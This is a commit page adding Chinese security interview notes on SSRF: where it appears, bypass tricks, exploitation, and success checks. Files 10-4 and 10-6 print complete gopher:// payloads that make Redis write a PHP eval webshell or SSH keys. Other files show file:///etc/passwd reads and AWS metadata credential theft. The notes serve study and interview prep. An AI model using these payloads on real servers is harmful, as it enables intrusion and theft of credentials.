bacow/Sec-Interview
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add files via upload

Browse Source
This commit is contained in:
雾島风起時
2025-09-25 03:52:44 +08:00
committed by GitHub
parent 93aed2e662
commit 1d50bce891
7 changed files with 316 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Chapter10/10-1.md
+28
View File
@@ -0,0 +1,28 @@
### SSRF 漏洞存在位置
**1. URL地址加载资源**
这是 SSRF 漏洞最经典的藏身之处。当一个网站需要通过 URL 地址从其他服务器获取图片、文件或音频等资源时，就可能存在 SSRF
- **头像/图片上传**：很多社交平台或电商网站允许用户通过提供图片 URL 来上传头像或商品图片
- **案例**：在某电商平台的商品图片上传接口，我发现一个名为 `image_url` 的参数。我将其值从一个合法的图片链接改为内网地址，如`http://192.168.1.1`，服务器返回了连接超时的错误。当我改为`http://127.0.0.1:80` 时，却返回了“HTTP 请求无效”的错误。通过这些差异，我判断 `127.0.0.1` 的 80 端口是开放的，从而证实了 SSRF 漏洞的存在
- **文章或图片收藏**：当用户分享或收藏一个网页时，服务器会去抓取页面标题、描述、缩略图等信息
- **案例**：在一个内容管理系统（CMS）中，我测试了“分享文章”功能。当我输入一个 URL 时，系统会生成一个预览。我将 `url` 参数的值从外网地址改为了 `http://localhost/`，结果系统成功抓取并展示了本地服务器的登录页面。这证明了服务器执行了请求，并且没有对 `localhost` 进行过滤
**2. URL协议解析不当与转码服务**
开发者在处理 URL 时，往往只过滤了 `http://` 和 `https://`，却忘记了其他协议，或者没有对 URL 重定向进行二次校验
- **转码服务**：一些在线视频或音频转码服务，需要用户提供一个 URL，服务器会去下载并进行格式转换
- **案例**：一个视频转码服务的 `video_url` 参数可以被利用。我尝试将 `http://` 协议替换为 `file://`，并输入 `file:///etc/passwd`。服务器返回了 `/etc/passwd` 文件的内容，这表明服务器不仅存在 SSRF，还存在**本地文件读取（LFI）**漏洞
- **在线翻译/API调用**：许多翻译服务需要通过 API 去获取内容，如果 API 的 URL 可控，就可能存在 SSRF
- **案例**：一个未公开的 API 接口用于调用 URL 服务，我尝试用 `gopher://` 协议去攻击内网的 Redis 服务。我构造了 Gopher URL，并将其作为 API 参数发送，最终成功在目标服务器上执行了 Redis 命令，实现了代码执行
**3. 第三方服务与Webhooks**
现代应用经常需要与其他服务集成，例如支付接口、云服务 API 等。这些集成点经常需要通过 URL 进行通信
- **Webhooks**：许多 SaaS 产品支持 Webhooks，当特定事件发生时，它会向用户指定的 URL 发送 HTTP 请求
- **案例**：在一个 Git 仓库管理平台，我发现它允许自定义 Webhook URL。我将 Webhook URL 设置为内网的 `http://192.168.10.20/`。当有代码提交时，我通过检查网络流量，证实了服务器确实去请求了这个内部地址，从而证明了 SSRF 漏洞的存在
- **云服务API**：在云环境中，元数据服务通常通过一个固定的内网 IP 提供敏感信息
- **案例**：在一个运行在 AWS 的网站上，我利用 SSRF 漏洞让服务器请求 AWS 的元数据服务地址`http://169.254.169.254/latest/meta-data/`。服务器成功返回了一个目录列表，这表明我能够访问这个特殊的内网服务，并可以进一步获取 IAM 凭证来控制整个云实例
Chapter10/10-2.md
+54
View File
@@ -0,0 +1,54 @@
### SSRF 漏洞绕过方法
**1. IP 地址绕过**
服务器为了防止内网探测，通常会限制请求的目标IP，比如禁止访问私有IP地址（10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.1）。我们可以尝试一些技巧来绕过这些限制
- **十进制、八进制、十六进制等进制转换：**
- **十进制：** `http://127.0.0.1` 可以转换为 `http://2130706433`
- **八进制：** `http://127.0.0.1` 可以转换为 `http://0177.0.0.1` 或 `http://017700000001`
- **十六进制：** `http://127.0.0.1` 可以转换为 `http://0x7f000001`
- **混合进制：** 例如 `http://0x7f.0.0.1`
- **域名解析：** `localhost` 可以解析为 `127.0.0.1`
- **不完整 IP：** 某些系统会把 `127.1` 当作 `127.0.0.1` 处理
- **短地址服务或域名重定向：**
- 攻击者可以利用短地址服务（如 bit.ly）或自己搭建一个网站，设置 302/307 重定向，将请求从白名单域名重定向到内网地址。例如，设置一个 `http://trusted.com/redirect`，当服务器请求此地址时，会自动跳转到 `http://192.168.1.1`
- 这种方法常用于目标服务器只允许访问特定白名单域名的情况
- **利用 IPV6 地址绕过：**
- 如果目标系统没有对 IPv6 地址进行过滤，那么 `::1` 就可以指向 `127.0.0.1`
- **利用 `xip.io` 或类似服务：**
- `xip.io` 是一个将 IP 地址嵌入域名的服务。例如，`10.0.0.1.xip.io` 会解析为 `10.0.0.1`。如果服务器只限制了 IP，但未限制域名解析，这会是有效的绕过方法
**2. 协议绕过**
除了 HTTP/HTTPS 协议，许多库还支持其他协议。如果服务器没有对这些协议进行过滤，我们可以利用它们来访问服务器的本地文件或服务
- **`file://` 协议：**
- `file:///etc/passwd` 可以读取 `/etc/passwd` 文件
- `file:///C:/Windows/win.ini` 可以读取 Windows 系统的 `win.ini` 文件
- **`dict://` 协议：**
- `dict://127.0.0.1:6379/info` 可以查询 Redis 服务的信息
- `dict://127.0.0.1:6379/config:set:dbfilename:evil.php` 可以用于写入恶意文件
- **`gopher://` 协议：**
- 这是最强大的协议之一，可以发送任意 TCP 请求。攻击者可以利用它来攻击内网的各种服务，如 MySQL、Redis、FastCGI 等
- 例如，攻击 Redis 服务：`gopher://127.0.0.1:6379/_*2%0D%0A$4%0D%0Ainfo%0D%0A`
- **`ftp://` 协议：**
- 可以利用 FTP 协议在某些情况下进行端口扫描，或者发送自定义命令
**3. URL 解析绕过**
不同的URL解析器（如 PHP、Python、CURL 等）对 URL 的解析规则可能存在差异。利用这种差异，可以绕过基于正则表达式的过滤
- **利用特殊字符：**
- `@` 符号：`http://example.com@127.0.0.1`，在一些解析器中，会忽略 `@` 前的内容，导致请求发往 `127.0.0.1`
- `#` 符号：`http://127.0.0.1#example.com`， `#` 后面的内容通常被认为是片段标识符，会被忽略，从而请求 `127.0.0.1`
- **利用 URL 编码：**
- 对 IP 地址进行URL编码，例如 `127.0.0.1` 编码为 `%31%32%37%2E%30%2E%30%2E%31`
- 对 `.` 进行 URL 编码，例如 `http://127%2E0%2E0%2E1`
- **利用 DNS Rebinding：**
- 这是高级且难以防范的技巧。攻击者控制一个域名，该域名在短时间内第一次解析为一个非内网 IP（通过白名单检查），第二次解析为内网 IP
- **步骤：**
1. 攻击者设置一个恶意域名 `evil.com`，其 DNS 记录 TTL（生存时间）设置为很低
2. 第一次 DNS 解析，`evil.com` 解析为一个公网 IP，服务器通过白名单检查
3. 服务器发起请求，但由于请求需要时间，在第二次DNS解析时，攻击者将 `evil.com` 的 DNS 记录修改为 `127.0.0.1`
4. 服务器再次请求 `evil.com` 时，会请求到 `127.0.0.1`，从而绕过过滤
Chapter10/10-3.md
+47
View File
@@ -0,0 +1,47 @@
### SSRF 漏洞利用方式
**1. 端口扫描**
这是最基础也最常见的利用方式。通过控制服务器向内网 IP 的不同端口发起请求，并根据响应时间、响应内容或 HTTP 状态码来判断端口是否开放
- **利用方式：**
- **GET 请求：** `http://192.168.1.1:22`
- **响应判断：** 如果端口开放，通常会有 HTTP 响应；如果端口关闭或服务不存在，请求会超时或返回连接失败。通过脚本自动化这个过程，可以快速绘制出内网的端口图
**2. 访问内网应用**
如果服务器能够访问内网，攻击者就可以通过SSRF漏洞来探测和攻击那些通常无法从外部网络访问的应用
- **利用方式：**
- **访问管理后台：** 很多公司的内部管理系统、OA、数据库管理工具等都在内网运行。攻击者可以通过SSRF 漏洞直接访问这些后台，如果存在弱口令，就可能直接接管系统
- **攻击内网服务：** 利用 SSRF 访问内网中的 Redis、MySQL、Elasticsearch、Memcached 等服务。例如，利用 **Gopher 协议** 攻击 Redis 服务器，可以写入 Webshell 或者 SSH key，从而获得服务器的控制权
- **示例：** `gopher://127.0.0.1:6379/_*2%0D%0A$4%0D%0Ainfo%0D%0A` 这个 payload 可以向本地的 Redis 服务发送 `info` 命令，获取 Redis 信息
- **利用 `file://` 协议：** 如果没有协议限制，可以直接读取服务器本地文件，如 `/etc/passwd`、`/etc/hosts`、`.bash_history` 等，从而获取敏感信息
- **示例：** `file:///etc/passwd`
**3. 攻击本地文件包含（LFI）**
在某些场景下，SSRF 可以与文件包含漏洞结合利用。例如，当目标网站的 URL 处理逻辑是 `file=http://example.com/a.txt` 时，你可以将 `http` 替换为 `file`，从而实现本地文件读取
- **利用方式：**
- `http://target.com/?url=file:///etc/passwd`
**4. 绕过防火墙**
许多 Web 应用服务器会部署在防火墙后面，防火墙通常只允许特定的出站请求。SSRF 漏洞可以利用服务器作为跳板，绕过防火墙的限制，直接攻击内网
**5. 探测云服务元数据**
在云服务环境（如 AWS, Google Cloud, Aliyun）中，服务器通常有一个特殊的元数据地址，例如 **`http://169.254.169.254/`**。这个地址只在虚拟机内部可访问，其中包含了非常敏感的信息，比如 **IAM 角色凭证、密钥、实例信息**等
- **利用方式：**
- `http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name`
- 通过 SSRF 漏洞访问这个地址，攻击者可以获取临时密钥，利用这些密钥就能以该角色的权限访问云服务，比如操作 S3 存储桶、启动或停止虚拟机等，造成巨大的安全风险
**6. DoS 攻击**
攻击者可以利用 SSRF 漏洞让服务器向自身或内网中的关键服务发起大量的请求，从而造成拒绝服务
- **利用方式：**
- `http://localhost:80`
- 通过循环请求 `http://localhost/`，可以耗尽服务器资源，使其无法正常提供服务
Chapter10/10-4.md
+57
View File
@@ -0,0 +1,57 @@
### SSRF 如何攻击内网服务
**1. 判断内网Redis端口是否开放**
首先，我们需要确认目标服务器的内网中是否存在 Redis 服务，以及它监听的端口。Redis 的默认端口是 **6379**
我们可以使用 SSRF 漏洞，尝试向 `http://127.0.0.1:6379/` 发起请求。如果请求有响应或返回连接成功的提示，那么Redis 服务可能存在
**2. 构造Redis命令**
Redis的通信协议（RESP，Redis Serialization Protocol）是一种基于TCP的文本协议。攻击者需要将Redis命令转换为符合该协议的格式
例如，一个简单的`INFO`命令的RESP格式如下：
```
*1
$4
INFO
```
- **`\*1`**：表示这是一个包含 1 个命令参数的数组
- **`$4`**：表示接下来的参数有 4 个字节
- **`INFO`**：参数的具体内容
在 Gopher 协议中，换行符需要转换为 URL 编码，即`%0D%0A`（回车换行）。因此，上述命令转换为 Gopher 协议的 URL编码后是： `gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0AINFO%0D%0A`
**3. 写入WebShell**
这是最常见的攻击方式，尤其是在目标服务器是 Web 服务器的情况下。攻击者可以利用 Redis 的持久化功能，将WebShell 代码写入到服务器的网站根目录，从而获得服务器的控制权
**攻击思路：**
1. **设置 Redis 的 `dir` 和 `dbfilename`**：将 Redis 的持久化目录设置为网站根目录，将持久化文件名设置为一个WebShell 文件名（如 `shell.php`）。
2. **写入 WebShell 代码**：利用 Redis 的 `SET` 命令，将 WebShell 代码写入一个键中
3. **执行 `SAVE` 或 `BGSAVE`**：执行 `SAVE` 命令将数据保存到指定的 WebShell 文件中
**Gopher Payload 构造举例（以写入PHP一句话木马为例）：**
**PHP 一句话木马代码：** `<?php eval($_POST[cmd]);?>`
1. **设置文件目录**：`config set dir /var/www/html/` **Gopher Payload:** `gopher://127.0.0.1:6379/_*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$14%0D%0A/var/www/html/%0D%0A`
2. **设置文件名**：`config set dbfilename shell.php` **Gopher Payload:** `gopher://127.0.0.1:6379/_*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$9%0D%0Ashell.php%0D%0A`
3. **设置键值**：`set 1 '<?php eval($_POST[cmd]);?>'` **Gopher Payload:** `gopher://127.0.0.1:6379/_*3%0D%0A$3%0D%0Aset%0D%0A$1%0D%0A1%0D%0A$27%0D%0A%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%63%6d%64%5d%29%3b%3f%3e%0D%0A`
4. **执行保存**：`save` **Gopher Payload:** `gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0Asave%0D%0A`
你可以将上述 Payload 组合起来，并进行 URL 编码，通过 SSRF 漏洞一次性发送
**4. 写入 SSH 公钥**
如果 Redis 服务是以 root 权限运行，并且目标服务器开放了 SSH 服务，攻击者还可以通过 Redis 将 SSH 公钥写入 root 用户的 `.ssh/authorized_keys` 文件，从而实现 SSH 免密登录
**Gopher Payload 构造举例：**
1. 设置文件目录：`config set dir /root/.ssh/`
2. 设置文件名：`config set dbfilename authorized_keys`
3. 写入SSH公钥：`set 1 'ssh-rsa AAAA...your-pubkey...'`
4. 执行保存：`save`
Chapter10/10-5.md
+60
View File
@@ -0,0 +1,60 @@
### 如何判断 SSRF 的流量是否攻击成功
**1. 基于DNS记录判断**
这是最常见也最简单的方法之一，利用 **DNS 带外通信**来判断
**原理：** 攻击者在一个可以记录 DNS 解析的域名服务器上，为每个攻击目标生成一个唯一的子域名。然后，在 SSRF 的payload 中，让服务器去请求这个子域名
**如何判断成功：** 如果攻击成功，服务器会尝试解析这个子域名。攻击者的 DNS 服务器会收到一个来自服务器 IP 的 DNS解析请求，从而证明 SSRF 漏洞确实存在，并且服务器执行了我们的请求
**举例：**
- 攻击者在 `attacker.com` 上部署 DNS 服务
- 攻击者构造 payload：`http://vulnerable.com/ssrf?url=http://test12345.attacker.com`
- 如果 SSRF 成功，攻击者的DNS服务器会收到来自 `vulnerable.com` 服务器 IP 的 `test12345.attacker.com` 域名解析请求
**2. 基于 HTTP 请求判断**
如果漏洞允许，我们可以让服务器去请求一个我们控制的 HTTP 服务器
**原理：** 攻击者搭建一个 HTTP 服务器，并在 SSRF 的 payload 中让服务器请求该服务器
**如何判断成功：** 如果 SSRF 成功，攻击者的 HTTP 服务器会收到一个来自目标服务器 IP 的 HTTP 请求。通过查看请求的User-Agent、来源 IP 等信息，可以进一步确认漏洞的存在
**举例：**
- 攻击者在公网IP `1.1.1.1` 上搭建 HTTP 服务（如`nc -lvp 80`）
- 攻击者构造 payload：`http://vulnerable.com/ssrf?url=http://1.1.1.1:80/check.txt`
- 如果 SSRF 成功，攻击者的 HTTP 服务器会收到一个来自 `vulnerable.com` 服务器的 HTTP 请求
**3. 基于时间差判断**
这种方法利用服务器处理特定请求所需的时间来判断，常用于**盲SSRF**场景，即服务器不会返回请求结果
**原理：** 攻击者构造一个SSRF payload，使其请求一个需要耗费较长时间的资源，例如一个不存在或响应很慢的端口，或者一个非常大的文件
**如何判断成功：** 如果 SSRF 成功，服务器的处理时间会显著增加。通过对比执行正常请求和 SSRF 请求的响应时间，如果后者明显更长，则可以初步判断 SSRF 攻击成功
**举例：**
- 构造SSRF payload让服务器请求一个不存在的端口：`http://vulnerable.com/ssrf?url=http://127.0.0.1:65535`
- 正常请求响应时间：`100ms`
- SSRF请求响应时间：`3000ms`（因为连接超时）
- 响应时间明显增加，表明服务器执行了内部请求
**4. 基于错误信息判断**
一些配置不当的应用程序会在 SSRF 失败时，直接返回服务器内部的错误信息
**原理：** 攻击者故意构造一个错误的 SSRF 请求，例如请求一个私有 IP 地址或本地文件，并观察应用程序返回的错误信息
**如何判断成功：** 如果应用程序返回的错误信息包含服务器内部的路径、IP 地址或内部错误代码，如 `Failed to connect to 127.0.0.1` 或 `Permission denied`，则可以确认服务器确实尝试执行了该请求，并且 SSRF 漏洞存在
**5. 基于响应内容判断**
如果 SSRF 漏洞是**可回显**的，攻击者可以直接从服务器的响应中判断攻击是否成功
**原理：** 攻击者构造一个 SSRF payload，让服务器请求内部资源，如 `http://127.0.0.1/` 或 `file:///etc/passwd`
**如何判断成功：** 如果服务器的响应中包含了目标资源的内部内容，例如本地 Web 服务器的欢迎页面、`/etc/passwd` 文件的内容等，那么 SSRF 攻击成功
Chapter10/10-6.md
+51
View File
@@ -0,0 +1,51 @@
### SSRF 怎么用 Redis 写 Shell
**步骤一：利用 SSRF 伪造 Redis 协议请求**
SSRF 攻击需要将恶意请求发送给目标服务器的 Redis 服务。这里通常需要使用 **Gopher 协议**。Gopher 协议可以发送自定义的 TCP 请求，这正是我们与 Redis 交互所需要的
Redis 的通信协议（RESP）是一个基于文本的协议。我们可以使用 Gopher 协议将这些命令编码成 URL 格式
**Redis 命令序列：**
我们通过 SSRF 漏洞向 Redis 服务器依次发送以下命令：
1. `SET webshell "<?php eval($_POST['cmd']);?>"`：设置一个键名为 `webshell`，值为我们想要写入的 Webshell 代码
2. `CONFIG SET dir "/var/www/html/"`：设置 Redis 的工作目录为网站的根目录
3. `CONFIG SET dbfilename "shell.php"`：设置持久化文件名为 `shell.php`
4. `SAVE`：执行保存命令，将数据持久化到指定的文件中
**步骤二：将命令编码为 Gopher 协议 URL**
我们需要将上述 Redis 命令序列转换成 Gopher URL
- **将命令转换为 RESP 协议格式**：
- `SET webshell "<?php eval($_POST['cmd']);?>"` -> `*3\r\n$3\r\nSET\r\n$7\r\nwebshell\r\n$25\r\n<?php eval($_POST['cmd']);?>\r\n`
- `CONFIG SET dir "/var/www/html/"` -> `*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$14\r\n/var/www/html/\r\n`
- `CONFIG SET dbfilename "shell.php"` -> `*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n`
- `SAVE` -> `*1\r\n$4\r\nSAVE\r\n`
*注：`\r\n` 是回车换行符，在 URL 中需要编码为 `%0d%0a`*
- **拼接成完整的 Gopher URL**： `gopher://127.0.0.1:6379/_` + `[RESP 编码的命令]` + `%0d%0a` + `[RESP 编码的命令]` + ...
一个完整的 Gopher URL 示例如下：
```apl
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$7%0d%0awebshell%0d%0a$25%0d%0a%3c%3fphp%20eval%28%24_POST%5b%27cmd%27%5d%29%3b%3f%3e%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$14%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0aSAVE%0d%0a
```
**步骤三：通过 SSRF 漏洞发起请求**
将上述构造好的 URL 作为 SSRF 漏洞的参数值，例如：
```apl
http://example.com/ssrf.php?url=gopher://127.0.0.1:6379/_...
```
当服务器端执行这个请求时，它会通过 Gopher 协议向本地的 Redis 服务发送一系列命令，最终在 `/var/www/html/` 目录下生成一个名为 `shell.php` 的文件，其内容就是我们的 Webshell
**步骤四：访问 Webshell**
攻击者现在可以直接访问 `http://example.com/shell.php`，并通过 `cmd` 参数执行任意命令，从而完全控制服务器
Chapter10/README.md
+19
View File
@@ -1 +1,20 @@
# 网安面试题（涵盖护网、红队、逆向、二进制）
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
HR：请问…………
我：叽里咕噜说啥呢，看看八股文上写了没
（Summary.md 是目录噢！！）
**🙏 特别感谢名单**
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
- **@用户名1** —— 提供了大量安全面试题方向的补充
- **@用户名2** —— 纠正了多个问题的答案与表述
- **@用户名3** —— 贡献了真实面试题经验分享
- **@用户名4** —— 对内容结构与目录提出改进建议
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字